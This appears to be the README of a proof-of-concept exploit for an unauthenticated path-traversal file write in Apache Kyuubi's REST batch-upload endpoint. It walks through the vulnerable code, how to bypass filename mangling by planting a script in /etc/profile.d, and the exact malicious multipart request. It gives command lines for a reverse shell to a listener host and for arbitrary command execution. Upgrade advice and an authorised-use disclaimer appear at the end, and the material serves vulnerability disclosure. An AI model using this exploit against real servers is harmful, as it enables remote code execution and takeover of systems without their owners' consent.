
Unauthenticated arbitrary file write in Apache Kyuubi's REST API via the multipart batch-submission endpoint.
POST /api/v1/batches (multipart/form-data) writes the resourceFile part to
$KYUUBI_HOME/work/upload/<batchId>/ using the client-supplied filename with no
path-traversal check (kyuubi-common Utils.writeToTempFile):
val filePath = Paths.get(dir.toString, s"$prefix-$identifier$suffix") // no normalize()/containment
Files.copy(source, filePath, StandardCopyOption.REPLACE_EXISTING)
A ../ filename escapes the upload directory → arbitrary-directory file write (CWE-22) as the
Kyuubi process user. Kyuubi ships kyuubi.authentication=NONE by default, so the endpoint is
unauthenticated.
1.7.0 – 1.11.11.12.0 (adds filePath.normalize().startsWith(dir.normalize()) containment)10099 (REST frontend, unauthenticated when authentication=NONE)writeToTempFile inserts -<yyyyMMddHHmmss>-<counter> before the extension, so you control the
destination directory, extension and content, but not the exact basename. This
breaks exact-name overwrites (~/.ssh/authorized_keys, /etc/crontab, ~/.bashrc) — target a
location that is executed by glob instead.
This exploit drops /etc/profile.d/pwn.sh → stored as /etc/profile.d/pwn-<ts>-<n>.sh, which
still matches /etc/profile.d/*.sh and is sourced (no execute bit required) by every login
shell. It runs as whatever user opens a login shell — root if Kyuubi runs as root and a
root login occurs (e.g. ssh root@host, su -, a cron bash -lc).
Python 3 standard library only — no dependencies.
# reverse shell (start a listener first: nc -lvnp 4444). Fires on the next login shell.
python3 exploit.py http://10.10.10.10:10099/ --shell 10.10.14.5:4444
# blind command
python3 exploit.py http://10.10.10.10:10099/ -c 'id > /tmp/pwned'
The upload returns HTTP 500 (Error opening batch session) when no Spark backend is present —
that is expected and harmless: the file is written before the batch would launch.
Two multipart parts:
batchRequest (JSON) {"batchType":"SPARK","resource":"x","className":"x","name":"pwn"} — a
minimal valid BatchRequest so validation passes and the upload sink is reached.resourceFile, filename ../../../../../../etc/profile.d/pwn.sh, body = the payload. Kyuubi
writes it (basename-mangled) to /etc/profile.d/pwn-<ts>-<n>.sh.A login shell then sources /etc/profile.d/*.sh and executes the payload.
curl -s http://10.10.10.10:10099/api/v1/ping # Kyuubi REST responds (no auth)
A Kyuubi REST frontend on port 10099 with authentication=NONE is exploitable.
Upgrade to Apache Kyuubi ≥ 1.12.0, enable authentication (kyuubi.authentication), never expose
the REST gateway to untrusted networks, and don't run Kyuubi as root.
For authorized security testing and education only. Use it only against systems you own or have explicit permission to test.